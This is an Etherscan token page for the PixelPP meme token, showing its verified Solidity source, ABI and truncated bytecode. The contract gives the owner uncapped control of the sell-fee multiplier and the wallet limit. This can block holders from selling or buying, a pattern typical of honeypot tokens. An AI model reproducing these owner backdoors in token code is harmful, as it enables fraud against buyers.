ETH Price: $2,567.45 (-3.22%)

Token

Pixel Painting Party (PixelPP)
 

Overview

Max Total Supply

100,000,000 PixelPP

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
chuzhongsq.eth
Balance
1,310,609.726644807 PixelPP

Value
$0.00
0xC567cA38efF4cef63745436f8eB07ccCF300571D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PixelPP

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-06
*/

// SPDX-License-Identifier: MIT
/**

$PixelPP | Pixel Painting Party
Buy/sell tax : 5/5

Telegram : https://t.me/PixelPP
Twitter : https://twitter.com/PixelPParty
Website: soon

*/

pragma solidity ^0.8.17;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract PixelPP is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "Pixel Painting Party";
    string private _symbol = "PixelPP";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 100000000 * 10**_decimals;
    uint256 public _maxWalletToken = _totalSupply * 2 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isWalletLimitExempt;

    uint256 private liquidityFee    = 0;
    uint256 private marketingFee    = 5;
    uint256 public totalFee        = marketingFee + liquidityFee;
    uint256 public feeDenominator  = 100;

    uint256 private sellMultiplier  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address private devFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    uint256 public maxSwapThreshold = _totalSupply * 1 / 100;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address routeraddr) Ownable() {
        router = IUniswapV2Router02(routeraddr);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(0xdead)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[pair] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        devFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        // Checks max transaction limit
        uint256 heldTokens = balanceOf(recipient);
        require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
        //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}

        //Exchange tokens
        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {       
        uint256 multiplier = isSell ? sellMultiplier : 100;
        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function setSwapPair(address pairaddr) external onlyOwner {
        pair = pairaddr;
        isWalletLimitExempt[pair] = true;
    }
    
    function set_sell_multiplier(uint256 Multiplier) external onlyOwner {
        sellMultiplier = Multiplier;        
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_marketingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = address(devFeeReceiver);
    }

    function setIsFeeExempt(address holder, bool exempt)  external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);

        if(amountETHMarketing>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280601481526020017f506978656c205061696e74696e67205061727479000000000000000000000000815250600190816200004a919062000b4a565b506040518060400160405280600781526020017f506978656c5050000000000000000000000000000000000000000000000000008152506002908162000091919062000b4a565b506009600a620000a2919062000dc1565b6305f5e100620000b3919062000e12565b60035560646002600354620000c9919062000e12565b620000d5919062000e8c565b60045560006009556005600a55600954600a54620000f4919062000ec4565b600b556064600c556064600d556001601260146101000a81548160ff0219169083151502179055506103e8600160035462000130919062000e12565b6200013c919062000e8c565b6013556064600160035462000152919062000e12565b6200015e919062000e8c565b6014553480156200016e57600080fd5b50604051620043d5380380620043d5833981810160405281019062000194919062000f69565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030a919062000f69565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000393573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b9919062000f69565b306040518363ffffffff1660e01b8152600401620003d992919062000fac565b6020604051808303816000875af1158015620003f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041f919062000f69565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620008c1919062000fea565b60405180910390a35062001007565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200095257607f821691505b6020821081036200096857620009676200090a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009d27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000993565b620009de868362000993565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a2b62000a2562000a1f84620009f6565b62000a00565b620009f6565b9050919050565b6000819050919050565b62000a478362000a0a565b62000a5f62000a568262000a32565b848454620009a0565b825550505050565b600090565b62000a7662000a67565b62000a8381848462000a3c565b505050565b5b8181101562000aab5762000a9f60008262000a6c565b60018101905062000a89565b5050565b601f82111562000afa5762000ac4816200096e565b62000acf8462000983565b8101602085101562000adf578190505b62000af762000aee8562000983565b83018262000a88565b50505b505050565b600082821c905092915050565b600062000b1f6000198460080262000aff565b1980831691505092915050565b600062000b3a838362000b0c565b9150826002028217905092915050565b62000b5582620008d0565b67ffffffffffffffff81111562000b715762000b70620008db565b5b62000b7d825462000939565b62000b8a82828562000aaf565b600060209050601f83116001811462000bc2576000841562000bad578287015190505b62000bb9858262000b2c565b86555062000c29565b601f19841662000bd2866200096e565b60005b8281101562000bfc5784890151825560018201915060208501945060208101905062000bd5565b8683101562000c1c578489015162000c18601f89168262000b0c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cbf5780860481111562000c975762000c9662000c31565b5b600185161562000ca75780820291505b808102905062000cb78562000c60565b945062000c77565b94509492505050565b60008262000cda576001905062000dad565b8162000cea576000905062000dad565b816001811462000d03576002811462000d0e5762000d44565b600191505062000dad565b60ff84111562000d235762000d2262000c31565b5b8360020a91508482111562000d3d5762000d3c62000c31565b5b5062000dad565b5060208310610133831016604e8410600b841016171562000d7e5782820a90508381111562000d785762000d7762000c31565b5b62000dad565b62000d8d848484600162000c6d565b9250905081840481111562000da75762000da662000c31565b5b81810290505b9392505050565b600060ff82169050919050565b600062000dce82620009f6565b915062000ddb8362000db4565b925062000e0a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cc8565b905092915050565b600062000e1f82620009f6565b915062000e2c83620009f6565b925082820262000e3c81620009f6565b9150828204841483151762000e565762000e5562000c31565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e9982620009f6565b915062000ea683620009f6565b92508262000eb95762000eb862000e5d565b5b828204905092915050565b600062000ed182620009f6565b915062000ede83620009f6565b925082820190508082111562000ef95762000ef862000c31565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f318262000f04565b9050919050565b62000f438162000f24565b811462000f4f57600080fd5b50565b60008151905062000f638162000f38565b92915050565b60006020828403121562000f825762000f8162000eff565b5b600062000f928482850162000f52565b91505092915050565b62000fa68162000f24565b82525050565b600060408201905062000fc3600083018562000f9b565b62000fd2602083018462000f9b565b9392505050565b62000fe481620009f6565b82525050565b600060208201905062001001600083018462000fd9565b92915050565b6133be80620010176000396000f3fe6080604052600436106101dc5760003560e01c806373a432bb11610102578063ca33e64c11610095578063e96fada211610064578063e96fada2146106bb578063ec72d65f146106e6578063f2fde38b1461070f578063f887ea4014610738576101e3565b8063ca33e64c14610601578063cec10c111461062c578063d088935814610655578063dd62ed3e1461067e576101e3565b8063a4b45c00116100d1578063a4b45c0014610545578063a8aa1b311461056e578063a9059cbb14610599578063acef1a44146105d6576101e3565b806373a432bb1461049b57806378109e54146104c45780638da5cb5b146104ef57806395d89b411461051a576101e3565b80632198cf6c1161017a578063658d4b7f11610149578063658d4b7f146103f35780636ddd17131461041c57806370a0823114610447578063715018a614610484576101e3565b80632198cf6c1461032557806323b872dd1461034e578063313ce5671461038b578063571ac8b0146103b6576101e3565b8063095ea7b3116101b6578063095ea7b314610267578063180b0d7e146102a457806318160ddd146102cf5780631df4ccfc146102fa576101e3565b8063012aa912146101e85780630445b6671461021157806306fdde031461023c576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612766565b610763565b005b34801561021d57600080fd5b50610226610815565b60405161023391906127a2565b60405180910390f35b34801561024857600080fd5b5061025161081b565b60405161025e919061284d565b60405180910390f35b34801561027357600080fd5b5061028e600480360381019061028991906128cd565b6108ad565b60405161029b9190612928565b60405180910390f35b3480156102b057600080fd5b506102b961099f565b6040516102c691906127a2565b60405180910390f35b3480156102db57600080fd5b506102e46109a5565b6040516102f191906127a2565b60405180910390f35b34801561030657600080fd5b5061030f6109af565b60405161031c91906127a2565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061296f565b6109b5565b005b34801561035a57600080fd5b50610375600480360381019061037091906129af565b610a9e565b6040516103829190612928565b60405180910390f35b34801561039757600080fd5b506103a0610c9e565b6040516103ad9190612a1e565b60405180910390f35b3480156103c257600080fd5b506103dd60048036038101906103d89190612a39565b610ca7565b6040516103ea9190612928565b60405180910390f35b3480156103ff57600080fd5b5061041a6004803603810190610415919061296f565b610cda565b005b34801561042857600080fd5b50610431610dc3565b60405161043e9190612928565b60405180910390f35b34801561045357600080fd5b5061046e60048036038101906104699190612a39565b610dd6565b60405161047b91906127a2565b60405180910390f35b34801561049057600080fd5b50610499610e1f565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190612a39565b610f6b565b005b3480156104d057600080fd5b506104d96110b7565b6040516104e691906127a2565b60405180910390f35b3480156104fb57600080fd5b506105046110bd565b6040516105119190612a75565b60405180910390f35b34801561052657600080fd5b5061052f6110e6565b60405161053c919061284d565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612a90565b611178565b005b34801561057a57600080fd5b506105836112ef565b6040516105909190612a75565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb91906128cd565b611315565b6040516105cd9190612928565b60405180910390f35b3480156105e257600080fd5b506105eb61132a565b6040516105f891906127a2565b60405180910390f35b34801561060d57600080fd5b50610616611330565b6040516106239190612a75565b60405180910390f35b34801561063857600080fd5b50610653600480360381019061064e9190612ad0565b611356565b005b34801561066157600080fd5b5061067c60048036038101906106779190612b23565b611469565b005b34801561068a57600080fd5b506106a560048036038101906106a09190612a90565b611524565b6040516106b291906127a2565b60405180910390f35b3480156106c757600080fd5b506106d06115ab565b6040516106dd9190612a75565b60405180910390f35b3480156106f257600080fd5b5061070d60048036038101906107089190612766565b6115d1565b005b34801561071b57600080fd5b5061073660048036038101906107319190612a39565b611669565b005b34801561074457600080fd5b5061074d611823565b60405161075a9190612bd5565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890612c3c565b60405180910390fd5b612710816003546108029190612c8b565b61080c9190612cfc565b60048190555050565b60135481565b60606001805461082a90612d5c565b80601f016020809104026020016040519081016040528092919081815260200182805461085690612d5c565b80156108a35780601f10610878576101008083540402835291602001916108a3565b820191906000526020600020905b81548152906001019060200180831161088657829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161098d91906127a2565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612c3c565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c8a57610c09826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673f